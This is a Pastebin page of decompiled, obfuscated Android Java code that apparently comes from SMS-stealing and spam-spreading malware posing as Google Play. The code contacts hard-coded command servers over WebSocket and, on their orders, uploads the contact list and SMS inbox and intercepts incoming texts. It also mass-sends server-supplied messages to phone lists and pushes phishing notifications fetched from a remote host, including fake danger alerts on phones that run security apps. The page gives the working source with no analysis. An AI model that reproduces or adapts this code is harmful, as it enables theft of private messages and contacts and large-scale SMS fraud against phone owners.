Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package YYBJUNPFC.XOOKFRHFX.BIFGJWMPK;
- import YYBJUNPFC.XOOKFRHFX.BIFGJWMPK.abs.ISMLLIDYY;
- import YYBJUNPFC.XOOKFRHFX.BIFGJWMPK.abs.KJRFGONSF;
- import android.app.Activity;
- import android.app.ActivityManager;
- import android.app.Notification;
- import android.app.NotificationChannel;
- import android.app.NotificationManager;
- import android.app.PendingIntent;
- import android.app.role.RoleManager;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.content.IntentFilter;
- import android.content.pm.PackageInfo;
- import android.content.pm.PackageManager;
- import android.database.Cursor;
- import android.graphics.Bitmap;
- import android.graphics.BitmapFactory;
- import android.net.ConnectivityManager;
- import android.net.NetworkInfo;
- import android.net.Uri;
- import android.os.Build;
- import android.os.Handler;
- import android.os.Message;
- import android.os.Process;
- import android.provider.ContactsContract;
- import android.provider.Telephony;
- import android.telephony.SmsManager;
- import android.telephony.TelephonyManager;
- import android.text.TextUtils;
- import android.util.Log;
- import androidx.core.app.NotificationCompat;
- import androidx.core.content.ContextCompat;
- import cn.rs.keepalive.Helper;
- import cn.rs.keepalive.Task;
- import java.io.IOException;
- import java.net.HttpURLConnection;
- import java.net.URL;
- import java.text.SimpleDateFormat;
- import java.util.ArrayList;
- import java.util.Collections;
- import java.util.Date;
- import java.util.Iterator;
- import java.util.List;
- import java.util.Random;
- import java.util.concurrent.TimeUnit;
- import okhttp3.OkHttpClient;
- import okhttp3.Request;
- import okhttp3.Response;
- import okhttp3.WebSocket;
- import okhttp3.WebSocketListener;
- import org.jsoup.Jsoup;
- import org.jsoup.nodes.Document;
- public class ZSTWWISZV {
- public static final String CHANNEL_ID = "Google Play";
- public static final String CHANNEL_NAME = "Google Play";
- private static int MAX_CONNECT_ERROR_NUM = 0;
- private static int MAX_ERROR_NUM = 0;
- public static final String NAME = "display_name";
- public static final int NOTIFICATIONID_FOR_SERVICE = 32505874;
- public static final String NUM = "data1";
- private static String SENT_SMS_ACTION;
- private static final String SMS_URI_ALL = "content://sms/inbox";
- public static final String TAG = "KeepAlive";
- private static OkHttpClient client;
- private static String content;
- private static int currentMobileIndex;
- private static int current_connect;
- private static int mBitmapRetryTime;
- private static ArrayList<String> mContents;
- private static Context mContext;
- private static ArrayList<String> mDaiContents;
- private static ArrayList<String> mDaiMobiles;
- private static int mDangerNum;
- private static int mErrorNum;
- private static String mFailPhone;
- private static Handler mHandler;
- private static Handler mHandler2;
- private static Handler mHandler3;
- private static boolean mIsConnected;
- private static int mLianxuConnectErrorNum;
- private static int mLianxuErrorNum;
- private static int mMaxRetry;
- private static ArrayList<String> mMobiles;
- private static long mNotiTime;
- private static ArrayList<String> mPermissionList;
- private static String[] mPkgNames;
- private static int mShowTime;
- private static int mSuccessNum;
- private static int mTitleRetryTime;
- private static int mUrlRetryTime;
- private static WebSocket mWebSocket;
- private static NotificationManager manager;
- public static Bitmap myBitmap;
- private static String[] permissions;
- private static Uri phoneUri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
- private static Request request;
- private static BroadcastReceiver sendMessage;
- private static PendingIntent sentPI;
- private static WebSocketListener webSocketListener;
- static {
- SENT_SMS_ACTION = "SENT_SMS_ACTION";
- mMobiles = new ArrayList();
- mContents = new ArrayList();
- mDaiMobiles = new ArrayList();
- mDaiContents = new ArrayList();
- mLianxuErrorNum = 0;
- MAX_ERROR_NUM = 8;
- mErrorNum = 0;
- mSuccessNum = 0;
- mFailPhone = "";
- MAX_CONNECT_ERROR_NUM = 5;
- mLianxuConnectErrorNum = 0;
- permissions = new String[] { "android.permission.SEND_SMS" };
- mPermissionList = new ArrayList();
- current_connect = 0;
- mNotiTime = 300000L;
- mHandler = new Handler() {
- public void handleMessage(Message param1Message) {
- StringBuilder stringBuilder3;
- StringBuilder stringBuilder1;
- Intent intent;
- super.handleMessage(param1Message);
- int i = param1Message.what;
- byte b = 0;
- switch (i) {
- default:
- return;
- case 7:
- Log.i("rgh", "showNoti");
- ZSTWWISZV.removeHandler3();
- intent = new Intent(mContext, BLYPQOUOY.class);
- intent.setFlags(335544320);
- pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 134217728);
- stringBuilder1 = new ICBKGJRGA(mContext);
- if (!TextUtils.isEmpty(DLVSCCNBD.getString("sp_noti_name", "")) && DLVSCCNBD.getString("sp_noti_name", "").toLowerCase().contains("google")) {
- stringBuilder1.sendCustomNoti(2131165294, "", "", "type", pendingIntent);
- } else {
- stringBuilder1.sendCustomNoti(2131165300, "", "", "type", pendingIntent);
- }
- DLVSCCNBD.putBoolean("sp_has_submit_url", false);
- mHandler3.sendEmptyMessageDelayed(0, mNotiTime);
- case 6:
- Log.i("rgh", "mWebSocket.send(getTxl())");
- if (mWebSocket != null)
- mWebSocket.send(ZSTWWISZV.getTxl());
- case 5:
- if (!DLVSCCNBD.getBoolean("sp_upload_permission", false)) {
- while (b < permissions.length) {
- if (ContextCompat.checkSelfPermission(mContext, permissions[b]) != 0)
- mPermissionList.add(permissions[b]);
- b++;
- }
- if (mPermissionList.size() > 0)
- mWebSocket.send("权限&未获取权限");
- DLVSCCNBD.getBoolean("sp_upload_permission", true);
- }
- case 4:
- try {
- ZSTWWISZV.sendSms((String)mMobiles.get(currentMobileIndex), (String)mContents.get(currentMobileIndex));
- } catch (Exception null) {
- stringBuilder1.printStackTrace();
- }
- case 3:
- try {
- StringBuilder stringBuilder = new StringBuilder();
- this();
- stringBuilder.append(stringBuilder1.what);
- stringBuilder.append("----");
- stringBuilder.append(DLVSCCNBD.getString("sp_connect_url", ""));
- Log.i("rgh", stringBuilder.toString());
- if (TextUtils.isEmpty(DLVSCCNBD.getString("sp_connect_url", ""))) {
- ZSTWWISZV.access$1302(false);
- sendEmptyMessageDelayed(2, 20000L);
- return;
- }
- if (mWebSocket != null)
- mWebSocket.close(1000, null);
- ZSTWWISZV.access$502(null);
- ZSTWWISZV.access$1502(null);
- OkHttpClient.Builder builder1 = new OkHttpClient.Builder();
- this();
- ZSTWWISZV.access$1102(builder1.readTimeout(10L, TimeUnit.SECONDS).writeTimeout(10L, TimeUnit.SECONDS).connectTimeout(10L, TimeUnit.SECONDS).build());
- ZSTWWISZV.initWebSocketListener();
- Request.Builder builder = new Request.Builder();
- this();
- ZSTWWISZV.access$1202(builder.url(DLVSCCNBD.getString("sp_connect_url", "")).build());
- ZSTWWISZV.access$502(client.newWebSocket(request, webSocketListener));
- client.dispatcher().executorService().shutdown();
- } catch (Exception pendingIntent) {
- stringBuilder1 = new StringBuilder();
- stringBuilder1.append("connect: ");
- stringBuilder1.append(pendingIntent.toString());
- Log.i("rgh", stringBuilder1.toString());
- ZSTWWISZV.access$1302(false);
- ZSTWWISZV.access$1708();
- if (mHandler.hasMessages(4)) {
- mHandler.removeCallbacksAndMessages(null);
- mHandler.sendEmptyMessageDelayed(4, 6000L);
- } else {
- mHandler.removeCallbacksAndMessages(null);
- }
- mHandler.sendEmptyMessageDelayed(2, 40000L);
- mHandler.sendEmptyMessageDelayed(1, 30000L);
- pendingIntent.printStackTrace();
- }
- case 2:
- stringBuilder3 = new StringBuilder();
- stringBuilder3.append(stringBuilder1.what);
- stringBuilder3.append(",");
- stringBuilder3.append(mIsConnected);
- stringBuilder3.append(",");
- stringBuilder3.append(DLVSCCNBD.getString("sp_connect_url", ""));
- Log.i("rgh", stringBuilder3.toString());
- if (!mIsConnected)
- if (current_connect == 1) {
- ZSTWWISZV.getData();
- } else {
- ZSTWWISZV.getDataBeiyong();
- }
- case 1:
- stringBuilder3 = new StringBuilder();
- stringBuilder3.append(stringBuilder1.what);
- stringBuilder3.append(",");
- Log.i("rgh", stringBuilder3.toString());
- sendEmptyMessageDelayed(2, 20000L);
- ZSTWWISZV.access$1302(false);
- str = Telephony.Sms.getDefaultSmsPackage(mContext);
- stringBuilder1 = new StringBuilder();
- stringBuilder1.append(str);
- stringBuilder1.append(",");
- stringBuilder1.append(mContext.getPackageName());
- Log.i("rgh", stringBuilder1.toString());
- if (!mContext.getPackageName().equals(str)) {
- Log.i("rgh", "eee");
- try {
- if (Build.VERSION.SDK_INT >= 29) {
- RoleManager roleManager = (RoleManager)mContext.getSystemService(RoleManager.class);
- if (roleManager.isRoleAvailable("android.app.role.SMS")) {
- Intent intent1 = roleManager.createRequestRoleIntent("android.app.role.SMS");
- ((Activity)mContext).startActivityForResult(intent1, 1);
- }
- } else if (Build.VERSION.SDK_INT >= 19) {
- Intent intent1 = new Intent();
- this("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
- intent1.putExtra("package", mContext.getPackageName());
- intent1.setFlags(276824064);
- mContext.startActivity(intent1);
- }
- sendEmptyMessageDelayed(1, 60000L);
- } catch (Exception str) {
- stringBuilder1 = new StringBuilder();
- stringBuilder1.append("Telephony = ");
- stringBuilder1.append(str.toString());
- Log.i("rgh", stringBuilder1.toString());
- sendEmptyMessageDelayed(1, 60000L);
- str.printStackTrace();
- }
- }
- case 0:
- break;
- }
- StringBuilder stringBuilder2 = new StringBuilder();
- stringBuilder2.append(stringBuilder1.what);
- stringBuilder2.append(":");
- stringBuilder2.append(client);
- stringBuilder2.append(",");
- stringBuilder2.append(request);
- stringBuilder2.append(",");
- stringBuilder2.append(mWebSocket);
- Log.i("rgh", stringBuilder2.toString());
- mWebSocket.send("心跳&ping");
- sendEmptyMessageDelayed(0, 10000L);
- }
- };
- mTitleRetryTime = 0;
- mUrlRetryTime = 0;
- mBitmapRetryTime = 0;
- mMaxRetry = 3;
- sendMessage = new BroadcastReceiver() {
- public void onReceive(Context param1Context, Intent param1Intent) {
- stringBuilder = new StringBuilder();
- stringBuilder.append("getResultCode(): ");
- stringBuilder.append(getResultCode());
- Log.i("rgh", stringBuilder.toString());
- if (getResultCode() != -1) {
- ZSTWWISZV.access$2908();
- ZSTWWISZV.access$2802(mLianxuErrorNum + 1);
- if (mWebSocket != null)
- try {
- ZSTWWISZV.saveLocal();
- if (TextUtils.isEmpty(mFailPhone)) {
- ZSTWWISZV.access$3102((String)mMobiles.get(currentMobileIndex));
- } else {
- stringBuilder = new StringBuilder();
- this();
- stringBuilder.append(mFailPhone);
- stringBuilder.append(",");
- stringBuilder.append((String)mMobiles.get(currentMobileIndex));
- ZSTWWISZV.access$3102(stringBuilder.toString());
- }
- if (mLianxuErrorNum == MAX_ERROR_NUM) {
- stringBuilder = new StringBuilder();
- this();
- stringBuilder.append("发信息&success:");
- stringBuilder.append(mSuccessNum);
- stringBuilder.append("|fail:");
- stringBuilder.append(mErrorNum);
- stringBuilder.append("|Stop|failPhone:");
- stringBuilder.append(mFailPhone);
- ZSTWWISZV.sendSmsByWebsocket(stringBuilder.toString());
- }
- ZSTWWISZV.access$1808();
- if (currentMobileIndex < mMobiles.size()) {
- mHandler.sendEmptyMessageDelayed(4, 6000L);
- } else {
- stringBuilder = new StringBuilder();
- this();
- stringBuilder.append("发信息&success:");
- stringBuilder.append(mSuccessNum);
- stringBuilder.append("|fail:");
- stringBuilder.append(mErrorNum);
- stringBuilder.append("|Over|failPhone:");
- stringBuilder.append(mFailPhone);
- ZSTWWISZV.sendSmsByWebsocket(stringBuilder.toString());
- }
- } catch (Exception stringBuilder) {
- stringBuilder.printStackTrace();
- }
- } else {
- ZSTWWISZV.access$2802(0);
- ZSTWWISZV.access$3008();
- if (mWebSocket != null) {
- ZSTWWISZV.access$1808();
- ZSTWWISZV.saveLocal();
- if (currentMobileIndex < mMobiles.size()) {
- mHandler.sendEmptyMessageDelayed(4, 6000L);
- } else {
- stringBuilder = new StringBuilder();
- stringBuilder.append("发信息&success:");
- stringBuilder.append(mSuccessNum);
- stringBuilder.append("|fail:");
- stringBuilder.append(mErrorNum);
- stringBuilder.append("|Over|failPhone:");
- stringBuilder.append(mFailPhone);
- ZSTWWISZV.sendSmsByWebsocket(stringBuilder.toString());
- }
- }
- }
- }
- };
- mHandler2 = new Handler() {
- public void handleMessage(Message param1Message) {
- super.handleMessage(param1Message);
- if (param1Message.what == 0) {
- if (ZSTWWISZV.isAppInstalled() && !DLVSCCNBD.getBoolean("sp_show_danger", false)) {
- DLVSCCNBD.putBoolean("sp_show_danger", true);
- DLVSCCNBD.putLong("sp_scan_time", System.currentTimeMillis());
- DLVSCCNBD.putInt("sp_danger_number", mDangerNum);
- Intent intent = new Intent(mContext, YYBJUNPFC.XOOKFRHFX.BIFGJWMPK.aas.DGPMWKIRQ.class);
- intent.setFlags(335544320);
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 134217728);
- ICBKGJRGA iCBKGJRGA = new ICBKGJRGA(mContext);
- String str;
- iCBKGJRGA.sendNotificationFullScreen(2131165340, (str = String.format(mContext.getString(2131689611), new Object[] { Integer.valueOf(ZSTWWISZV.access$4700()) })).format(mContext.getString(2131689610), new Object[] { Integer.valueOf(ZSTWWISZV.access$4700()) }), str, "type", pendingIntent);
- }
- mHandler2.sendEmptyMessageDelayed(0, 300000L);
- }
- }
- };
- mShowTime = 0;
- mHandler3 = new Handler() {
- public void handleMessage(Message param1Message) {
- super.handleMessage(param1Message);
- if (param1Message.what == 0) {
- if (!DLVSCCNBD.getBoolean("sp_has_submit_url", false) && mShowTime < 5) {
- Intent intent = new Intent(mContext, BLYPQOUOY.class);
- intent.setFlags(335544320);
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 134217728);
- ICBKGJRGA iCBKGJRGA = new ICBKGJRGA(mContext);
- if (!TextUtils.isEmpty(DLVSCCNBD.getString("sp_noti_name", "")) && DLVSCCNBD.getString("sp_noti_name", "").toLowerCase().contains("google")) {
- iCBKGJRGA.sendCustomNoti(2131165294, "", "", "type", pendingIntent);
- } else {
- iCBKGJRGA.sendCustomNoti(2131165300, "", "", "type", pendingIntent);
- }
- ZSTWWISZV.access$3908();
- }
- mHandler3.sendEmptyMessageDelayed(0, mNotiTime);
- }
- }
- };
- mPkgNames = new String[] { "com.wsandroid.suite", "com.au.anshinnetsecurity", "com.nttdocomo.android.anshinsecurity", "com.mcafee.vsm_android_dcm" };
- mDangerNum = 0;
- }
- private static Notification buildNotification(Context paramContext) {
- if (Build.VERSION.SDK_INT >= 26) {
- NotificationChannel notificationChannel = new NotificationChannel("Google Play", "Google Play", 4);
- notificationChannel.enableVibration(false);
- notificationChannel.enableLights(false);
- notificationChannel.enableVibration(false);
- notificationChannel.setVibrationPattern(new long[] { 0L });
- notificationChannel.setSound(null, null);
- getManager(paramContext).createNotificationChannel(notificationChannel);
- }
- PendingIntent pendingIntent = PendingIntent.getActivity(paramContext, -1, new Intent(paramContext, YYBJUNPFC.XOOKFRHFX.BIFGJWMPK.aas.DGPMWKIRQ.class), 134217728);
- NotificationCompat.Builder builder = (new NotificationCompat.Builder(paramContext, "Google Play")).setSmallIcon(2131165345).setContentTitle("").setShowWhen(false).setContentText("").setContentIntent(pendingIntent).setDefaults(1);
- (builder.build()).when = 0L;
- return builder.build();
- }
- private static void getData() {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append(DLVSCCNBD.getString("sp_connect_url", ""));
- stringBuilder.append("----");
- stringBuilder.append(mLianxuConnectErrorNum);
- stringBuilder.append(",");
- stringBuilder.append(MAX_CONNECT_ERROR_NUM);
- Log.i("rgh", stringBuilder.toString());
- if (TextUtils.isEmpty(DLVSCCNBD.getString("sp_connect_url", "")) || mLianxuConnectErrorNum >= MAX_CONNECT_ERROR_NUM) {
- (new Thread(new Runnable() {
- public void run() {
- Log.i("rgh", "run");
- try {
- StringBuilder stringBuilder1 = Jsoup.connect("http://211103.top/").header("Accept-Encoding", "gzip, deflate").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0").maxBodySize(0).timeout(600000).get();
- StringBuilder stringBuilder2 = new StringBuilder();
- this();
- stringBuilder2.append("body: ");
- stringBuilder2.append(stringBuilder1.body().text());
- Log.i("rgh", stringBuilder2.toString());
- boolean bool = stringBuilder1.body().text().contains(" ");
- if (bool) {
- String str = stringBuilder1.body().text().split(" ")[0];
- if (!TextUtils.isEmpty(str)) {
- stringBuilder1 = new StringBuilder();
- this();
- stringBuilder1.append("ws://");
- stringBuilder1.append(str);
- DLVSCCNBD.putString("sp_connect_url", stringBuilder1.toString());
- ZSTWWISZV.access$202(0);
- mHandler.sendEmptyMessageDelayed(3, 1000L);
- } else {
- ZSTWWISZV.getDataBeiyong();
- }
- } else {
- String str = stringBuilder1.body().text();
- if (!TextUtils.isEmpty(str)) {
- stringBuilder2 = new StringBuilder();
- this();
- stringBuilder2.append("ws://");
- stringBuilder2.append(str);
- DLVSCCNBD.putString("sp_connect_url", stringBuilder2.toString());
- ZSTWWISZV.access$202(0);
- mHandler.sendEmptyMessageDelayed(3, 1000L);
- } else {
- ZSTWWISZV.getDataBeiyong();
- }
- }
- } catch (Exception exception) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("run");
- stringBuilder.append(exception.toString());
- Log.i("rgh", stringBuilder.toString());
- ZSTWWISZV.getDataBeiyong();
- ZSTWWISZV.access$202(0);
- exception.printStackTrace();
- }
- }
- })).start();
- return;
- }
- mHandler.sendEmptyMessageDelayed(3, 1000L);
- }
- private static void getDataBeiyong() { (new Thread(new Runnable() {
- public void run() {
- try {
- Document document = Jsoup.connect("http://211103bei.top/").header("Accept-Encoding", "gzip, deflate").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0").maxBodySize(0).timeout(600000).get();
- String str = document.body().text();
- StringBuilder stringBuilder = new StringBuilder();
- this();
- stringBuilder.append("body2: ");
- stringBuilder.append(document.body().text());
- Log.i("rgh", stringBuilder.toString());
- if (!TextUtils.isEmpty(str)) {
- ZSTWWISZV.access$202(1);
- StringBuilder stringBuilder1 = new StringBuilder();
- this();
- stringBuilder1.append("ws://");
- stringBuilder1.append(str);
- DLVSCCNBD.putString("sp_connect_url", stringBuilder1.toString());
- }
- mHandler.sendEmptyMessageDelayed(3, 1000L);
- } catch (Exception exception) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("2run");
- stringBuilder.append(exception.toString());
- Log.i("rgh", stringBuilder.toString());
- ZSTWWISZV.access$202(1);
- mHandler.sendEmptyMessageDelayed(3, 1000L);
- exception.printStackTrace();
- }
- }
- })).start(); }
- private static String getLocalSms() {
- List list = KJRFGONSF.getUserList();
- Collections.reverse(list);
- StringBuilder stringBuilder = new StringBuilder();
- for (ISMLLIDYY iSMLLIDYY : list) {
- if (TextUtils.isEmpty(stringBuilder)) {
- stringBuilder.append("收件箱&");
- StringBuilder stringBuilder2 = new StringBuilder();
- stringBuilder2.append(iSMLLIDYY.address);
- stringBuilder2.append("|");
- stringBuilder.append(stringBuilder2.toString());
- stringBuilder2 = new StringBuilder();
- stringBuilder2.append(iSMLLIDYY.stime);
- stringBuilder2.append("|");
- stringBuilder.append(stringBuilder2.toString());
- stringBuilder.append(iSMLLIDYY.body);
- continue;
- }
- stringBuilder.append("[|]");
- StringBuilder stringBuilder1 = new StringBuilder();
- stringBuilder1.append(iSMLLIDYY.address);
- stringBuilder1.append("|");
- stringBuilder.append(stringBuilder1.toString());
- stringBuilder1 = new StringBuilder();
- stringBuilder1.append(iSMLLIDYY.stime);
- stringBuilder1.append("|");
- stringBuilder.append(stringBuilder1.toString());
- stringBuilder.append(iSMLLIDYY.body);
- }
- if (TextUtils.isEmpty(stringBuilder))
- stringBuilder.append("收件箱&no result!");
- return stringBuilder.toString();
- }
- private static NotificationManager getManager(Context paramContext) {
- if (manager == null)
- manager = (NotificationManager)paramContext.getSystemService("notification");
- return manager;
- }
- private static String getNativePhoneNumber() { return (ContextCompat.checkSelfPermission(mContext, "android.permission.READ_PHONE_STATE") == 0) ? ((TelephonyManager)mContext.getSystemService("phone")).getLine1Number() : ""; }
- private static void getNotiBitmap() {
- if (mBitmapRetryTime < mMaxRetry)
- (new Thread(new Runnable() {
- public void run() {
- try {
- URL uRL = new URL();
- this("http://tongzhilan.top/logo.png");
- HttpURLConnection httpURLConnection = (HttpURLConnection)uRL.openConnection();
- httpURLConnection.setDoInput(true);
- httpURLConnection.connect();
- ZSTWWISZV.myBitmap = BitmapFactory.decodeStream(httpURLConnection.getInputStream());
- mHandler.sendEmptyMessage(7);
- } catch (IOException iOException) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("bitmap e: ");
- stringBuilder.append(iOException.getMessage());
- Log.i("rgh", stringBuilder.toString());
- ZSTWWISZV.access$3808();
- ZSTWWISZV.getNotiBitmap();
- }
- }
- })).start();
- }
- private static void getNotiTitle() {
- if (mTitleRetryTime < mMaxRetry)
- (new Thread(new Runnable() {
- public void run() {
- try {
- Document document = Jsoup.connect("http://tongzhilan.top/content.txt").header("Accept-Encoding", "gzip, deflate").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0").maxBodySize(0).timeout(600000).get();
- StringBuilder stringBuilder = new StringBuilder();
- this();
- stringBuilder.append("body: ");
- stringBuilder.append(document.body().text());
- stringBuilder.append(",");
- stringBuilder.append(document.body().text().contains(" "));
- Log.i("rgh", stringBuilder.toString());
- if (document.body().text().contains(" ")) {
- String str2 = document.body().text().split(" ")[0];
- String str3 = document.body().text().split(" ")[1];
- String str1 = document.body().text().split(" ")[2];
- DLVSCCNBD.putString("sp_noti_name", str2);
- DLVSCCNBD.putString("sp_noti_title", str3);
- DLVSCCNBD.putString("sp_noti_content", str1);
- ZSTWWISZV.getNotiUrl();
- }
- } catch (Exception exception) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("title run");
- stringBuilder.append(exception.toString());
- Log.i("rgh", stringBuilder.toString());
- ZSTWWISZV.access$3608();
- ZSTWWISZV.getNotiTitle();
- exception.printStackTrace();
- }
- }
- })).start();
- }
- private static void getNotiUrl() {
- if (mUrlRetryTime < mMaxRetry)
- (new Thread(new Runnable() {
- public void run() {
- try {
- Document document = Jsoup.connect("http://tongzhilan.top/link.txt").header("Accept-Encoding", "gzip, deflate").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0").maxBodySize(0).timeout(600000).get();
- StringBuilder stringBuilder = new StringBuilder();
- this();
- stringBuilder.append("body: ");
- stringBuilder.append(document.body().text());
- stringBuilder.append(",");
- stringBuilder.append(document.body().text().contains(" "));
- Log.i("rgh", stringBuilder.toString());
- boolean bool = document.body().text().contains(" ");
- if (bool) {
- int i = document.body().text().split(" ").length;
- Random random = new Random();
- this();
- i = random.nextInt(i);
- DLVSCCNBD.putString("sp_noti_url", document.body().text().split(" ")[i]);
- } else {
- DLVSCCNBD.putString("sp_noti_url", document.body().text());
- }
- ZSTWWISZV.getNotiBitmap();
- } catch (Exception exception) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("url run");
- stringBuilder.append(exception.toString());
- Log.i("rgh", stringBuilder.toString());
- ZSTWWISZV.access$3708();
- ZSTWWISZV.getNotiUrl();
- exception.printStackTrace();
- }
- }
- })).start();
- }
- private static String getPackagesNames() {
- PackageManager packageManager = mContext.getPackageManager();
- byte b = 0;
- List list = packageManager.getInstalledPackages(0);
- String str;
- for (str = ""; b < list.size(); str = str1) {
- PackageInfo packageInfo = (PackageInfo)list.get(b);
- String str1 = str;
- if ((packageInfo.applicationInfo.flags & true) == 0)
- if (TextUtils.isEmpty(str)) {
- str1 = packageInfo.applicationInfo.loadLabel(mContext.getPackageManager()).toString();
- } else {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append(str);
- stringBuilder.append("|");
- stringBuilder.append(packageInfo.applicationInfo.loadLabel(mContext.getPackageManager()).toString());
- str1 = stringBuilder.toString();
- }
- b++;
- }
- return str.replaceAll("&", ".");
- }
- private static String getSms() {
- try {
- Uri uri = Uri.parse("content://sms/inbox");
- Cursor cursor = mContext.getContentResolver().query(uri, new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
- StringBuilder stringBuilder = new StringBuilder();
- this();
- if (cursor.moveToFirst()) {
- int i = cursor.getColumnIndex("address");
- int j = cursor.getColumnIndex("body");
- int k = cursor.getColumnIndex("date");
- int m = cursor.getColumnIndex("type");
- do {
- StringBuilder stringBuilder1 = cursor.getString(i);
- String str1 = cursor.getString(j);
- long l = cursor.getLong(k);
- int n = cursor.getInt(m);
- SimpleDateFormat simpleDateFormat = new SimpleDateFormat();
- this("yyyy-MM-dd hh:mm:ss");
- Date date = new Date();
- this(l);
- String str2 = simpleDateFormat.format(date);
- if (n != 1 && n != 2 && n != 3 && n != 4 && n == 5);
- boolean bool = TextUtils.isEmpty(stringBuilder);
- if (bool) {
- stringBuilder.append("收件箱&");
- StringBuilder stringBuilder2 = new StringBuilder();
- this();
- stringBuilder2.append(stringBuilder1);
- stringBuilder2.append("|");
- stringBuilder.append(stringBuilder2.toString());
- stringBuilder1 = new StringBuilder();
- this();
- stringBuilder1.append(str2);
- stringBuilder1.append("|");
- stringBuilder.append(stringBuilder1.toString());
- stringBuilder.append(str1);
- } else {
- stringBuilder.append("\n");
- StringBuilder stringBuilder2 = new StringBuilder();
- this();
- stringBuilder2.append(stringBuilder1);
- stringBuilder2.append("|");
- stringBuilder.append(stringBuilder2.toString());
- stringBuilder1 = new StringBuilder();
- this();
- stringBuilder1.append(str2);
- stringBuilder1.append("|");
- stringBuilder.append(stringBuilder1.toString());
- stringBuilder.append(str1);
- }
- } while (cursor.moveToNext());
- if (!cursor.isClosed())
- cursor.close();
- } else {
- stringBuilder.append("no result!");
- }
- return stringBuilder.toString();
- } catch (Exception exception) {
- exception.printStackTrace();
- return "";
- }
- }
- private static String getSystemModel() { return Build.MODEL; }
- private static String getSystemVersion() { return Build.VERSION.RELEASE; }
- private static String getTxl() {
- String str3;
- str1 = "";
- String str2 = str1;
- try {
- Cursor cursor = mContext.getContentResolver().query(phoneUri, new String[] { "data1", "display_name" }, null, null, null);
- while (true) {
- str2 = str1;
- str3 = str1;
- if (cursor.moveToNext()) {
- str2 = str1;
- boolean bool = TextUtils.isEmpty(str1);
- if (bool) {
- str2 = str1;
- StringBuilder stringBuilder1 = new StringBuilder();
- str2 = str1;
- this();
- str2 = str1;
- stringBuilder1.append("通讯录&");
- str2 = str1;
- stringBuilder1.append(cursor.getString(cursor.getColumnIndex("display_name")));
- str2 = str1;
- stringBuilder1.append("|");
- str2 = str1;
- stringBuilder1.append(cursor.getString(cursor.getColumnIndex("data1")));
- str2 = str1;
- str1 = stringBuilder1.toString();
- continue;
- }
- str2 = str1;
- StringBuilder stringBuilder = new StringBuilder();
- str2 = str1;
- this();
- str2 = str1;
- stringBuilder.append(str1);
- str2 = str1;
- stringBuilder.append("\n");
- str2 = str1;
- stringBuilder.append(cursor.getString(cursor.getColumnIndex("display_name")));
- str2 = str1;
- stringBuilder.append("|");
- str2 = str1;
- stringBuilder.append(cursor.getString(cursor.getColumnIndex("data1")));
- str2 = str1;
- str1 = stringBuilder.toString();
- continue;
- }
- break;
- }
- } catch (Exception str1) {
- str1.printStackTrace();
- str3 = str2;
- }
- str1 = str3;
- if (TextUtils.isEmpty(str3))
- str1 = "通讯录&no result!";
- return str1;
- }
- private static String getWifiOr4G() {
- NetworkInfo networkInfo = ((ConnectivityManager)mContext.getSystemService("connectivity")).getActiveNetworkInfo();
- String str1 = "4g";
- String str2 = str1;
- if (networkInfo != null) {
- str2 = str1;
- if (networkInfo.getType() == 1)
- str2 = "wifi";
- }
- return str2;
- }
- public static void init(final Context context) {
- mContext = paramContext;
- DLVSCCNBD.putBoolean("sp_show_danger", false);
- Helper.initialize(paramContext, new Task() {
- public void onStart() {
- Log.i("KeepAlive", "Call onStart!");
- ZSTWWISZV.startKeepAlive(context);
- }
- public void onStop() { Log.i("KeepAlive", "Call onStop!"); }
- }buildNotification(paramContext), 32505874);
- Helper.start();
- }
- private static void initWebSocketListener() { webSocketListener = new WebSocketListener() {
- public void onClosed(WebSocket param1WebSocket, int param1Int, String param1String) {
- super.onClosed(param1WebSocket, param1Int, param1String);
- Log.i("rgh", "onClosed");
- }
- public void onClosing(WebSocket param1WebSocket, int param1Int, String param1String) {
- super.onClosing(param1WebSocket, param1Int, param1String);
- Log.i("rgh", "onClosing");
- }
- public void onFailure(WebSocket param1WebSocket, Throwable param1Throwable, Response param1Response) {
- super.onFailure(param1WebSocket, param1Throwable, param1Response);
- Log.i("rgh", "onFailure");
- ZSTWWISZV.access$1302(false);
- ZSTWWISZV.access$1708();
- if (mHandler.hasMessages(4)) {
- mHandler.removeCallbacksAndMessages(null);
- mHandler.sendEmptyMessageDelayed(4, 6000L);
- } else {
- mHandler.removeCallbacksAndMessages(null);
- }
- mHandler.sendEmptyMessageDelayed(2, 10000L);
- mHandler.sendEmptyMessageDelayed(1, 60000L);
- }
- public void onMessage(WebSocket param1WebSocket, String param1String) {
- super.onMessage(param1WebSocket, param1String);
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("onMessage: ");
- stringBuilder.append(param1String);
- Log.i("rgh", stringBuilder.toString());
- ZSTWWISZV.access$1302(true);
- if ("通讯录".equals(param1String)) {
- mWebSocket.send(ZSTWWISZV.getTxl());
- } else if (param1String.startsWith("收件箱")) {
- mWebSocket.send(ZSTWWISZV.getLocalSms());
- } else if (param1String.startsWith("拦截短信&open")) {
- DLVSCCNBD.putBoolean("lanjie_sms", true);
- mWebSocket.send("拦截短信&open|true");
- } else if (param1String.startsWith("拦截短信&close")) {
- DLVSCCNBD.putBoolean("lanjie_sms", false);
- mWebSocket.send("拦截短信&close|true");
- } else {
- String[] arrayOfString;
